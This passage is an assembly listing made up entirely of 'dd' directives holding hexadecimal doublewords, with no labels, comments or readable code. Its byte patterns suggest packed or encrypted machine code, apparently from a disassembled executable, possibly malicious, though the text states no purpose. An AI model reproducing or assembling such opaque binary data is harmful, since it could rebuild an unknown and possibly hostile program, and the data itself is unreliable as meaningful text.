0DCDDEF7Dh, 0B05C1B1Ch dd 0EB6CA522h, 0CF5F0904h, 85BE948h, 0E9FB0000h, 0B04A9A30h dd 5293E379h, 1FE131C7h, 0CF2C7C12h, 42ABC45Ah, 0B74DDC1Fh dd 49A9767h, 4EE44DB4h, 9A3001FEh, 0DBBFACC5h, 635A7F7Ch dd 27E4F67Dh, 54DAD71Fh, 0E7AFC0F8h, 5491D408h, 598A7583h dd 2331B43h, 0A2DA402Eh, 32C86996h, 0F6AD1F48h, 77A46209h dd 0C714E251h, 7D1316E5h, 125FD22Dh, 6A2F1729h, 0AAAEA8DFh dd 4A996672h, 5EE32913h, 0C9167C05h, 0CA171AE7h, 0CF1CFDE8h dd 8E13E91Dh, 57EEFCECh, 0C7F389A8h, 409B0E1Dh, 4AFEh dd 35C6A900h, 36C5A7F4h, 0E2D2A6F3h, 6BBE3D14h, 0F8FFA9D5h dd 30E0457Ch, 8B000000h, 36CEADBFh, 17606ABEh, 926A462Ah dd 9A00CE54h, 6B12F6E3h, 0CC9A5492h, 0B6738894h, 6AC9A869h dd 0F0D25492h, 79B04B1Ah, 1FD1E3h, 0C6340000h, 0DD54AA35h dd 0B648F890h, 7C8157Bh, 5491D429h, 0C59C6A18h, 0DB56A936h dd 0FA90F68Eh, 91FB2CA5h, 0D63AEDDAh, 0A8BD5176h, 3B27396h dd 6BFA12D8h, 5A79B887h, 9244ED11h, 0B07E8CC4h, 78657A63h dd 5A79B894h, 0A164E1Ch, 1C00EDDBh, 0A45A79B9h, 0ABB970D6h dd 0F890DD54h, 6277CEC0h, 79B89175h, 134B195Ah, 0FDEADE07h dd 5A79B919h, 0B8CBAF9Ch, 85535A79h, 529F05D3h, 843BADD6h dd 5EA57C97h, 69B68457h, 0D16076C4h, 8B01B714h, 0DE2B06F9h dd 7C69246h, 0B8089E04h, 0DE9FEC2Dh, 6060C40Ah, 78C56C94h dd 79C66B96h, 5A27B5A5h, 0ED4492EEh, 368B21F8h, 0DD94E62Ch dd 0E85614CBh, 0C0F804DAh, 0C64229AFh, 0E043F839h, 0AF6A7B89h dd 50EA6677h, 31467CF0h, 39h, 94E62CDCh, 98AABFDFh, 46DA332Ah dd 614C848Bh, 54924F7Dh, 0BF823705h, 0FA1FC6ACh, 5D412E43h dd 0E55491D3h, 0FECEDF17h, 3E046Dh, 50650000h, 91D37F63h dd 1390754h, 94E62CF0h, 9CAABFDFh, 0B081805Fh, 2D65CB63h dd 91D35E42h, 0CC13D54h, 1FC6ACBFh, 91DE4BB0h, 77B249F9h dd 772C922Ah, 69566BFEh, 5491D385h, 0F6073F0Dh, 0ABF839C6h dd 9552FCEAh, 2E03FE54h, 32FFFFE1h, 0E9FF33E5h, 1AF024A4h dd 5E422F44h, 0E6549655h, 9A976818h, 717DB54Dh, 0DAECA38Eh dd 8F0C4978h, 0A395CD6Eh, 664A374Ch, 0EE54966Ch, 1FDCE820h dd 1D41530Ah, 470BF194h, 86681149h, 9367B475h, 0E9F755A3h dd 34CC1918h, 1E0BF0FCh, 0C2233188h, 8D371F57h, 6E45784Ch dd 2Ah, 0F839C619h, 94042FABh, 0C6B9F0DDh, 6B395176h, 6BBE3C1Eh dd 6FC23C1Eh, 24DA8A22h, 9D4BC00Dh, 8EC2424Fh, 1B16E978h dd 39C63085h, 0D3D6BAA7h, 905E5491h, 0D261732Ah, 0F9E1A21Ah dd 8602ABE3h, 4734EB5Dh, 5176D05Ch, 795D4A5Fh, 15A78F2h dd 1FEDFB33h, 0DFF35668h, 5CB7A483h, 0A53D8A9Fh, 0C015073Fh dd 0DF94E62Ch, 39C64229h, 0B1BF43F8h, 0CA34E44Dh, 0E63D2F67h dd 0F237C3D1h, 9A7E0DA5h, 205491D3h, 0A78A67FAh, 25F3A519h dd 0AABFDCEDh, 91D3D9BDh, 27155F54h, 0A916ABE9h, 1120DFF7h dd 8EC62CC4h, 7C11ECA6h, 0F03A4C46h, 71FF849Eh, 5DD42DDDh dd 3FB325h, 2C5E0000h, 725643E6h, 0FA5491D3h, 0BF11C62Ch dd 0CF629CAAh, 0C7B2EA82h, 5491D3E3h, 8792536Bh, 0ACBF6C21h dd 43FA1FC6h, 0B569B035h, 0E3D0243Ch, 98A9E122h, 0B1BF6DFEh dd 0DEACE44Dh, 55h, 46E62C41h, 30F97605h, 221BC4DBh, 0CE208CEBh dd 0BF4D0268h, 91D3EED2h, 9C51CD54h, 0D9BDAABFh, 615491D3h dd 41394D45h, 66E664h, 0BFA2B5C8h, 97E44DB1h, 0D3DDC1AEh dd 97655491h, 0F8EDF931h, 43556A21h, 0DE35BB41h, 896DFCC4h dd 11549206h, 0FEFA0B43h, 0F839C66Dh, 64CD3341h, 9E477F17h dd 0D75AA7B5h, 0CFBAF28Ah dd 549552E1h, 3A09DF13h, 86D66CC5h, 0EBFDB475h, 0B8479BB3h dd 23A4C579h, 0E3C56EA6h, 0F0C41118h, 0D35EA3B1h, 3201D79Bh dd 9ECA60C9h, 457828F4h, 49D5h, 0B1BF8000h, 0CB66984Fh dd 48801865h, 0B76EC33Ch, 8DDA57A9h, 9814BDF5h, 5946FD6Fh dd 5176DB02h, 0EBFDB482h, 3958B3A4h, 906B1B57h, 6B86199h dd 0D22D04D2h, 3F3B4F11h, 77DD34FFh, 7F7C8AE1h, 8BFFF6AAh dd 5B4C798Fh, 39C61223h, 42FABF8h, 0B6C8DD94h, 0D47DBA89h dd 0DF52AC9Fh, 0DF564179h, 0DF51772Eh, 2C267B11h, 0A4CB46E6h dd 742156BBh, 0B9CAC5C0h, 0C42A2428h, 0BF42290Fh, 0A9E150B1h dd 1ACF629Dh, 50EA8BE0h, 31467CF0h, 3Ah, 47B7C5DAh, 76059DEAh dd 5791D392h, 3144C1Ah, 0E24FB1BFh, 6CCE04AAh, 0EED2BFB7h dd 715491D3h, 45929763h, 2E949D63h, 651AE8F6h, 1FC6ACBFh dd 6DFE45FAh, 2604h, 0E62C6700h, 540FA046h, 72D837FAh dd 0EED2BFBDh, 0CD5491D3h, 0AABF9C51h, 35784198h, 82BA1598h dd 0FA1FC671h, 0C66DFE45h, 0EAABF839h, 549552FCh, 4499AB2Eh dd 0EDB338EAh, 47955991h, 8C220FF0h, 216EC33Ch, 59D02A38h dd 963C740Ch, 5744FB6Dh, 517B181Ch, 0EB40D6A4h, 0DD94E62Ch dd 0D3F7DBC8h, 0B17F5491h, 42296879h, 0D9BDAABFh, 615491D3h dd 0B04F5B93h, 0B1BFCC81h, 0CA679A4Dh, 327FE57Dh, 1B70629Ah dd 9750B1BFh, 1764CA67h, 828EF231h, 0EC524770h, 4032CCB4h dd 2F13467Ch, 0BE000000h, 0DD94E62Ch, 0D3F7DBC8h, 0B17F5491h dd 0D2BF6879h, 5491D3EEh, 0BFF3A876h, 0FA1FC6ACh, 0F9F13143h dd 497D0B85h, 6DFE0011h, 3A04h, 0E62C6700h, 0DBC8DD94h dd 5491D3F7h, 9A97677Fh, 0BFEBFC34h, 0D3D9BDAAh, 93615491h dd 2533485Bh, 41F00ED9h, 46F68EDBh, 523D75B4h, 5491D36Eh dd 0BF1CD14Dh, 0FA1FC6ACh, 0C66DFE45h, 0D6BAA739h, 5E5491D3h dd 1CDD2A90h, 5495532Eh, 87DE2C60h, 0D323B978h, 3CB8052Ch dd 85A4570Bh, 7B681Fh, 3517B5Eh, 25DC0BF5h, 0C159A60Ch dd 0F6AD7B89h, 5F10F4E1h, 80985A7Dh, 0CB63B081h, 0E63B2D65h dd 0DF94E62Ch, 0AABF4229h, 91D3D9BDh, 939E6354h, 0CFDB13E1h dd 0E04C0130h, 4EB1BF8Bh, 0C6FE96E3h, 7CF024DEh, 372546h dd 2CD00000h, 0BFDF94E6h, 91D3EED2h, 6F5C7154h, 5491D38Bh dd 0FF0D4513h, 0ACBF7C31h, 0E534B1BFh, 0BCC80098h, 0BF3BF029h dd 0D3D9BDAAh, 93615491h, 4F6875Bh, 49h, 94E62C67h, 0BDAABFDFh dd 5491D3D9h, 71554261h, 0F95491D3h, 7A8DC52Bh, 91D3A98Dh dd 0E11E2C54h, 0B46B0350h, 91D3E3C7h, 659D6B54h, 0BF7D32AEh dd 0C4A895AAh, 4C5491D3h, 0BF35467Eh, 0A7DF4AB1h, 7B854A9Bh dd 0FE9B50B6h, 4DB1BF6Dh, 7CC9609Ah, 99317EE4h, 0E01811E9h dd 0B9062BD4h, 0A8580A3Dh, 3EA43C89h, 0C8D39A87h, 3C4E5176h dd 3A8C0AF8h, 87641856h, 319F778Fh, 0A97785BDh, 171AE4F2h dd 0D003EDDFh, 5DA3B168h, 12A187D4h, 0EAF2E2B8h, 0C6B36AD0h dd 5A78F0E2h, 51649C6Ah, 6397A864h, 15623057h, 2714CC33h dd 60669943h, 0B40118CDh, 0A9526A1Ch, 946A1A80h, 51A1379Dh dd 0BECC83AEh, 0BFA1EE43h, 558DF326h, 0BBB1C3ACh, 1E774BFDh dd 62321D55h, 14258827h, 0C43B0AE0h, 0B4A1B66Dh, 0AD89A9D0h dd 60528A58h, 0F542EF10h, 0F744ED13h, 5FF60452h, 78B947A0h dd 0AAF732C8h, 0C616AC12h, 0D6BAA739h, 5EAD89A9h, 65732A90h dd 0B7609899h, 313h, 13587600h, 0AEFB1EC6h, 0B1FE33CCh dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h dd 0BB0811D4h, 0BB0821D9h, 7D11686Fh, 2C890000h, 0E0895024h dd 405h, 42D00h, 4870000h, 0C895C24h, 7A8B6824h, 14890000h dd 73B85024h, 0C128D350h, 632D03E0h, 5040ACDAh, 5B240481h dd 596DAB68h, 685BE981h, 54586DABh, 8324148Bh, 0B85004C4h dd 6ADB2970h, 0D8F7D0F7h, 502E8C1h, 0E54935ACh, 889D001h dd 24148B58h, 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h dd 81592434h, 4C4h, 0CF01E900h, 0BA7AFFF9h, 0B108B8BCh dd 0C50305EDh, 92E6E0FFh, 13380974h, 0AE4F30BBh, 0AA6C6D83h dd 0FF025922h, 699643DCh, 0B98251B5h, 89F61F57h, 7E2555FEh dd 3EB679BCh, 0E47F77F2h, 3F69688Dh, 0B36723B8h, 0F3FD27C8h dd 0A1B171F0h, 0A5096D33h, 0C0747621h, 0F5E05D41h, 855C66C8h dd 0CA0705E1h, 729C7E00h, 0A870046h, 640A52D2h, 0ECFB71D9h dd 4F052D48h, 456D408Ah, 3F5F7C6Eh, 0A355171Ah, 405810EFh dd 0E2A3792Eh, 7F3D108Dh, 0FA2A4EFEh, 8D8D7D5Dh, 5EDB2BFh dd 28C0Fh, 0D08B0000h, 1AA98D89h, 0B58B05E7h, 5E7211Dh dd 2A4D85C7h, 6B9005E7h, 81660000h, 0C769C8E2h, 0E7273985h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 2F20D759h, 88BA8090h, 0E9167F22h dd 7, 6EA2B22Fh, 0FF019892h, 0E722F9B5h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 13A7176Ch, 8B2989EAh, 0E716F595h, 9595FF05h, 8B05E717h dd 0E71B519Dh, 0FF006A05h, 0E721C195h, 0EBC08B05h, 0F31ACD1Fh dd 0D381A906h, 1FA6DF0Ah, 0BF00F3BCh, 0B177B368h, 0CE62AA03h dd 9174EF5h, 0A39BEB62h, 0CE8h, 94D32B00h, 0A17C5DE6h dd 8ABA20DCh, 0FD8D89CFh, 5F05E72Bh, 0AE9h, 0D2296800h dd 0AC2D3B60h, 818A3DC3h, 6AFCC7h, 4D9D8B00h, 0BE05E719h dd 71D11B67h, 0D0EE81h, 0C98071D1h, 8937FFAAh, 0E71C09B5h dd 0C88B5A05h, 1A89EA81h, 0EB814E5Ch, 1FF88978h, 3105EA81h dd 85892CAAh, 5E720C5h, 0AB83EA81h, 8B664F9Eh, 291789CAh dd 0E71B1585h, 7AEF8105h, 0E80DB014h, 13h, 833E133Bh, 0A72742BEh dd 387302A3h, 0F2656B52h, 589444F8h, 1476C781h, 0D88B0DB0h dd 9E850F4Eh, 0BFFFFFFh, 0E71B399Dh, 328D8D05h, 0E905EDB4h dd 0Eh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 8D8986E4h, 5E71AA9h dd 85C7C28Bh, 5E72A4Dh, 744Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 9EC35646h, 0EC472DECh, 0B8666084h dd 5E991A4h, 0CF000000h, 9382B582h, 3985C761h, 5E727h dd 81000000h, 977262F7h, 11B5FF00h, 6A05E724h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 9A8BC357h, 867350B0h, 179595FFh, 8D8905E7h, 5E72101h dd 95FF006Ah, 5E721C1h, 2EEBC08Bh, 0CDF67A35h, 6B691B77h dd 0DF019F4Ah, 0F6B1A017h, 2131840Ah, 0F4825CADh, 33489B32h dd 0E930EB01h, 5EF95BCh, 60E27FE9h, 59D4D36Bh, 8D8D8A90h dd 5EDB500h, 1AA98D89h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 144334C3h, 29F122C4h dd 4D85C779h, 7405E72Ah, 0F00006Fh, 0BD89F6BFh, 5E70929h dd 273985C7h, 5E7h, 7E90000h, 7C000000h, 0CA7E00ACh, 0B5FF3B42h dd 5E70091h, 6820Fh, 9D890000h, 5E71A8Dh, 179595FFh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0C20D1DC3h, 0A3D8D29h, 6A05E7h, 21C195FFh, 0C08B05E7h dd 0BC751CEBh, 1EADBB61h, 0D3014B8Ah, 6D98EE8Ah, 243DCD34h dd 82D050B7h, 28879AE0h, 10E80C30h dd 53000000h, 277DDFA7h, 1C7CA2A8h, 18675EBBh, 3D2258Ah dd 0E72839B5h, 8DB85905h, 81073B0Ch, 715CC1h, 1C2A6800h dd 858B0000h, 5E729D9h, 13E95Ah, 83990000h, 0D275D543h dd 0DEBA0C54h, 7BA00166h, 0F75A9875h, 8B31FF1Fh, 0E71841BDh dd 0C38B5B05h, 0BD6FEB81h, 852B3C51h, 5E72E4Dh, 4462C381h dd 0EB816E2Eh, 7A867E61h, 661989F5h, 7C66F781h, 0E904E983h dd 0Eh, 1CAEBF96h, 67E2844Dh, 938D3DACh, 0EA83CF5Eh, 13850F01h dd 66000000h, 0E9C0D4BFh, 1Fh, 0F2366F07h, 0B8C562ABh dd 6CB09896h, 0FFFF9CE9h, 12A730FFh, 0F734DFE8h, 310934C9h dd 8D7BB38Ch, 0EDB6B98Dh, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD292FB7h dd 5E71C95h, 1AA98D89h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 741AB4C3h, 8C0F7Bh, 0C7000000h dd 0E72A4D85h, 6E2405h, 13E800h, 4A4E0000h, 0A087E264h dd 0B6910CC1h, 0A0658103h, 2D71E0FFh, 85C75B3Ah, 5E72739h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EAC35141h dd 4EB48736h, 1639B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 66D563C3h, 0B783C881h dd 179595FFh, 816605E7h, 6AFAEEDBh, 0C195FF00h, 8B05E721h dd 1A0DEBC0h, 0E29CF454h, 177FC4CFh, 748EDB40h, 32A585C6h dd 685605E7h, 0A9C530DFh, 2B05B5FFh, 858D05E7h, 5EA7DA1h dd 8D8DD0FFh, 5E70945h, 0FF406A51h, 0E72EADB5h, 6DB5FF05h dd 0FF05E70Ah, 0ADB5FFD0h, 0FF05E72Eh, 0E70A6DB5h, 6E805h dd 60E10000h, 88CCDF70h, 0EA835A5Ah, 242CC104h, 2424C102h dd 24140302h, 33241CF7h, 32048BF6h, 6B7CF081h, 0C0816250h dd 23C189A4h, 62C7E881h, 8F5064A0h, 0EE813204h, 4752ED4Fh dd 0ED4BC681h, 343B4752h, 0D2850F24h, 8DFFFFFFh, 0E71B419Dh dd 0B038B05h, 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 0EDB77DEDh, 8428B05h dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h dd 5F9061B0h, 0E883C333h, 0A9858904h, 8B05E71Ah, 0F88B0458h dd 8B10428Bh, 0C8D3184Ah, 0E1B4F6BEh, 2BC633B8h, 0FCE083C7h dd 8904E883h, 0E72A4D85h, 14428B05h, 27398589h, 428B05E7h dd 0B0E95318h, 0FF000000h, 0E71CE1B5h, 0B9E905h, 0B5FF0000h dd 5E722F9h, 0AEE9h, 39B5FF00h, 0E905E716h, 0A3h, 15DB5FFh dd 98E905E7h, 0FF000000h, 0E70091B5h, 8DE905h, 0B5FF0000h dd 5E72B45h, 82E9h, 29B5FF00h, 0E905E720h, 77h, 32B5B5FFh dd 6CE905E7h, 0FF000000h, 0E72449B5h, 61E905h, 0B5FF0000h dd 5E70595h, 56E9h, 15B5FF00h, 0E905E71Dh, 4Bh, 1555B5FFh dd 40E905E7h, 0FF000000h, 0E72411B5h, 35E905h, 0B5FF0000h dd 5E72A29h, 2AE9h, 0F1B5FF00h, 0E905E72Ah, 1Fh, 251B5FFh dd 14E905E7h, 8B000000h, 0BB8D8h, 0F7660000h, 0DE8D8DE3h dd 305EDB7h, 0FFE1FFC8h, 0E7179595h, 858B5B05h, 5E71AA9h dd 0F045839h, 0F85h, 16A5300h, 21C195FFh, 0E95B05E7h, 0FFFFFFE2h dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 9BD858Bh, 8D8D05E7h dd 5EDB8CCh, 8B014189h, 0CE8C3h, 0F730000h, 5B02FBD9h dd 0B24F5E13h, 62BFFA82h, 5B65F1FAh, 0C3C381F5h, 0F00005Eh dd 681h, 2EA8100h, 2B4F4A60h, 0EE9C0h, 0C0CD0000h, 0B28E71C3h dd 9E2E9ECBh, 182AE61Bh, 81030C8Bh, 77889BC1h, 0D2816642h dd 0E981CCAAh, 22BB3E14h, 1E6EE281h, 0F1816E57h, 12CB49BCh dd 8820Fh, 880F0000h, 2, 0F5122B2h, 18Eh, 48FFC00h, 31BA6603h dd 0DE851h, 8F4B0000h, 0C03C5F7Eh, 5D30BF98h, 81C053D6h dd 0A2A477D6h, 0E8815A77h, 73AD749h, 3FC174BEh, 45C08155h dd 81073AD7h, 0FFA1ECF8h, 8D850FFFh, 81FFFFFFh, 0DA6D57EFh dd 0ABE940h, 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0A601E800h, 323D94E7h, 0FF373A83h, 12A0E94Fh dd 4B680000h, 0E905EDBCh, 0FFF9C633h, 0EDBD4B68h, 0C629E905h dd 3468FFF9h, 0E905EDBEh, 0FFF9C61Fh, 0EDBF9168h, 0C615E905h dd 1C68FFF9h, 0E905EDC0h, 0FFF9C60Bh, 0EDC0BF68h, 0C601E905h dd 9568FFF9h, 0E905EDC1h, 0FFF9C5F7h, 0EDC25168h, 0C5EDE905h dd 468FFF9h, 0E905EDC3h, 0FFF9C5E3h, 0EDC44268h, 0C5D9E905h dd 2768FFF9h, 0E905EDC5h, 0FFF9C5CFh, 0EDC67868h, 0C5C5E905h dd 0CC68FFF9h, 0E905EDC7h, 0FFF9C5BBh, 0EDC9D768h, 0C5B1E905h dd 0A168FFF9h, 0E905EDCAh, 0FFF9C5A7h, 4CE237ADh, 952BFEFCh dd 0E379A045h, 2EC46D93h, 760C1DDEh, 2AD1F45Dh, 0E51969FFh dd 9B66B64Ch, 4FB00096h, 5E774CE2h, 7F8D8D71h, 0AA2F155Ah dd 0ABF839C6h, 65FB36C9h, 29E0487Bh, 76DFDD3Ch, 56435851h dd 5A78DF72h, 0E6F42CFAh, 0E1C5B2C7h, 695A78DFh, 0E0280C9Bh dd 0E2B05A78h, 8E6E2F7Ch, 295A78DFh, 0F8A2D523h, 0D9409BF4h dd 37h, 47FB2C84h, 4B2D7AB7h, 0B1177DB4h, 0FC460DFAh, 0F8C65176h dd 0FD0AEAABh, 9FA55A78h, 0D5741E49h, 0A6B4409Bh, 0B599865Ah dd 3D5A7908h, 24BC096Fh, 1147AECh, 0C6250000h, 0C9ABF839h dd 0C8AAF732h, 0D8BCA937h, 605491D3h, 0FDDF2C92h, 0CC1BE502h dd 1BB30019h, 8AB94FB5h, 5491D123h, 1609DA25h, 0FCE6E686h dd 0D507F796h, 69D16B21h, 8166D03h, 52EA37F2h, 53C719Eh dd 0D50DB2CFh, 4EB136C9h, 98FE96E3h, 34A4CF4Bh, 0D3F46B7Dh dd 95A6B788h, 725D4A5Dh, 7A517728h, 288A6E5Bh, 44125A79h dd 1FFB6F90h, 46AC4CAEh, 0CAE57D8Fh, 7BB05999h, 1AF3D7C4h dd 0AD7B5A79h, 1E2C8375h, 6C0451E0h, 0F3658E34h, 0AF024F3Ch dd 0B482575Fh, 0CC0CEFFDh, 62CEFBDFh, 1B58360h, 0EA21D66Dh dd 0CB82E812h, 0B9F128BDh, 0A58477C7h, 64ADA81h, 0AD512EDFh dd 1002h, 0B046D311h, 0F98F9A60h, 47DD3CA9h, 922809F7h dd 0DA70B942h, 0C63558C1h, 817DCD63h, 37CA1AB0h, 0EB1464FAh dd 0C2DBB046h, 7F8FF1D5h, 0E93795Ah, 55AA35C6h, 0D3BA9E8Bh dd 74425491h, 0C329C10Eh, 0F22DD2Dh, 7CB54A58h, 6D5F972Fh dd 48190416h, 179E35EDh, 0FB2CCEDFh, 5A3E2B40h, 0E25491D3h dd 0D3A18514h, 5B295491h, 8A513EF5h, 0A5176FBh, 3A254AEEh dd 0CB31D513h, 9380957Eh, 5A78F5AFh, 46316937h, 5A78F566h dd 0AA97AC01h, 5A78F5C6h, 8448804Eh, 0DE590376h, 0A73A409Bh dd 0E5000000h, 0ABF839C6h, 40F732C9h, 51C81D2Bh, 0F9DD6C04h dd 835491D3h, 3503B57Ch, 2C9354FDh, 2E5491D1h, 0CF16D1h dd 65CB3100h, 0B1807FCFh, 4DBFE864h, 0DBBEA996h, 0F8C65176h dd 0DD4F7862h, 6BDB3926h, 8D5B575Fh, 0F633C8D6h, 0EDEB1060h dd 628E1C00h, 70D6A460h, 676194Ch, 0E08461DFh, 0F02h, 0B046D311h dd 0F98F9A60h, 47DD3CA9h, 922809F7h, 0DA70B942h, 0C63558C1h dd 817DCD63h, 37CA1AB0h, 0EB1464FAh, 0C2DBB046h, 7F90F1D5h dd 0E93795Ah, 5EF435C6h, 8940F10Eh, 6C597F7Bh, 5491D388h dd 0A4DC4210h, 39C65DB2h, 3F2C41F8h, 5491D35Bh, 136115E3h dd 33BEE3ABh, 0D2BB649Ch, 41F53CC4h, 4A962EE6h, 4450883Bh dd 90E076BBh, 9577C455h, 7231C76Ah, 0ECD5E7FAh, 0F902A068h dd 0E21E02EFh, 0D8A65491h, 63943A72h, 0E1D7BBA8h, 915F5491h dd 0E209EDDAh, 0C3915491h, 76B9A65Dh, 0FE5176F0h, 6342C330h dd 4BA90323h, 9A7F6618h, 49907D34h, 0C94EE854h, 0C83644FBh dd 0C883169h, 0CDBA71DBh, 54D4548Eh, 260BF60Eh, 43A98876h dd 0B0817E8Ch, 8BB1C31Ah, 0F7D47BE0h, 4DB2BEF6h, 2FAFC0E4h dd 1EFBE194h, 0E197Ah, 2FEAFA00h, 78B14999h, 0C65392E2h dd 1120E030h, 59D02B7Bh, 1E41AAC3h, 66B64CDDh, 0B3039998h dd 0FD4DE34Eh, 0C4992F02h, 91DABEABh dd 7C625A7Fh, 0AE39C6F7h, 0FB93E051h, 9BCC4895h, 0D68D7A31h dd 565176D1h, 0DF08F288h, 7EC9B66Dh, 6575DF6h, 0B71D0CEEh dd 0F6C9A96Ah, 0F64605Fh, 1BE5FA01h, 0CB31C916h, 0EAAEE67Eh dd 0DFBF691Ch, 0F1FF4EB2h, 3FD7240Dh, 499507h, 2C400000h dd 0EDDA91FBh, 51769F29h, 1E2CE3B1h, 82974EE3h, 7920B195h dd 0DE21395Ah, 86E0653h, 12226254h, 7AB2A090h, 2A7B5988h dd 2FD5A79h, 0B849992Fh, 0C0ADC279h, 5A792ADCh, 7AAF4C64h dd 0F72F952Dh, 0D58AA4Eh, 2C0D0000h, 0EDDA91FBh, 517C69CDh dd 3A48FFCDh, 4A2E1BC5h, 0D25A7F8Eh, 0D5E79E04h, 38C79C37h dd 76631A02h, 5A7FC892h, 22144C1Ah, 9F41BDCBh, 7FC8CEB2h dd 2288565Ah, 0C89A7E6Bh, 54225A7Fh, 42EF101Ch, 0DE4E79F5h dd 4AE71927h, 1A2D65FDh, 6A5FEE2Dh, 0D4576957h, 5601A87Ch dd 0E02DECF9h, 9CAAE248h, 0F60917CEh, 0AA55A53Bh, 23C2D087h dd 5D11A9F6h, 0FA4E8BBEh, 0F7A0D8AFh, 0A28F487Bh, 606D2BBEh dd 5B127846h, 5231E36Eh, 2ED3EB5Dh, 799D03h, 68D914CDh dd 0CBCE78Bh, 8D570000h, 54A6F68Ch, 0F6EF3FD5h, 0C33D8D23h dd 7388D86Eh, 9E0720B6h, 13A9807Bh, 60F63BC3h, 0AA40F110h dd 0F68CA55Ah, 371B0821h, 0BF5A7F93h, 0B1BF54D9h, 2E9F944Fh dd 0A7BBA56Fh, 3E1E0941h, 26549220h, 73BE41FDh, 3269560Dh dd 0AD517CB7h, 0F269029Bh, 84BC809Eh, 0E3F1A876h, 2F7F151Ch dd 2B1461D0h, 0A718D719h, 0DF174935h, 0E79E0E39h, 659043FAh dd 5A7C357h, 66CAF92Fh, 87A25808h, 9F86FD21h, 0F5D2DF01h dd 0C3151h, 1702E200h, 60C93181h, 0AE6B7ACAh, 0F938C818h dd 41E81363h, 62992ABh, 4E9E34F5h, 9BEB81B0h, 0E535CB66h dd 0AC81171Ah, 93C2A693h, 644A5A7Fh, 0F839C6DFh, 5AB0C2ABh dd 60D12E0Fh, 84C77B13h, 828EC65Eh, 4C946A7Dh, 927C7B5Fh dd 0CF350354h, 1F811C69h, 51F49EC9h, 9BD5457Ch, 80000006h dd 0DA91FB2Ch, 7C6BBBEDh, 0BE754351h, 2BE24FB0h, 8D452916h dd 0FFCD5A7Fh, 707ED5C7h, 606CA475h, 5C45929Fh, 4880B14Eh dd 7F8D7D5Dh, 0CA32655Ah, 8B6F2613h, 21EF5764h, 27490FDh dd 57FBD8DFh, 0B8Eh, 24BA5F85h, 6D0326D4h, 0BB51C81Dh dd 69C956Bh, 4EE445B6h, 52A9CC35h, 0DF141D7h, 0C33E8E24h dd 7788D86Eh, 364F24BAh, 7F936549h, 8207ED5Ah, 41F839C6h dd 0D35B3F2Ch, 15E35491h, 5D959C65h, 42DD2B4h, 2CBA1CB7h dd 7CF88F39h, 3FC1CF45h, 0FF48BAF2h, 0F3000005h, 91D407E7h dd 0AC4EF54h, 26F3F2F5h, 9D8A73C0h, 5491D3B9h, 0A70D7341h dd 0CC03E2F0h, 4B98FE33h, 33FE03B3h, 3164EE6h, 7C6BA416h dd 27DEAC51h, 32F70412h, 9154DE5h, 55A53BF6h, 1EC23DAAh dd 7F8D4D31h, 0A107D55Ah, 8A76843Bh, 0EC25AA7h, 374439B0h dd 34DD1517h, 6DC43D4Bh, 0F4648F35h, 2613283Dh, 5A7FB342h dd 0D9C4FCCAh, 5764B222h, 0E7B0D4A2h, 93DF024Dh, 0AB812B6h dd 895B0000h, 50AAFA90h, 0F2F343D9h, 0BF419127h, 6F8CDC72h dd 0A20B24BAh, 17AD7C7Fh, 64FA37C7h, 0AE44ED14h, 0FA90A15Eh dd 3B1F0C25h, 0C35A7F95h, 0B1BF58DDh, 0FC94E150h, 0EA47B8C4h dd 0ED44BB9Dh, 465405A0h, 793D75B4h, 63BBCD63h, 9AF31381h dd 7B199D1h, 0E8457C95h, 526h, 0B67B8391h, 0FB2C6D7Eh dd 34CCDA91h, 0E018B0FDh, 6A0BE0CDh, 7886517Ch, 0C75FAC6Dh dd 0FCB3818Fh, 8A2011EEh, 1F6CC53Ah, 7F8D7E5Eh, 0CB3D665Ah dd 2E12FF14h, 0B45A7F8Eh, 0D29AA1EAh, 703EF061h, 81382538h dd 0FC576467h, 6C16FAE7h, 0D09E6066h, 1850E120h, 89183C0Ah dd 0E1DF0298h, 9FC6004h, 0CD170000h, 9466B64Ch, 36AFFF95h dd 3FD4DE3h, 0B348982Eh, 5EC7E076h, 0D369C03Bh, 20B67B83h dd 6A0031D0h, 0B64CE51Ah, 0F7DBC8E1h, 7F5A7F95h, 39C61499h dd 7CE237AEh, 9852B3C5h, 0AAB3A822h, 18E7C972h, 17EACC19h dd 13EBCD1Ah, 0FEFD11Eh, 7A908022h, 9C6ACC35h, 7CBC3FE9h dd 4642045h, 0BFCB0000h, 93E049B1h, 0F71D47FBh, 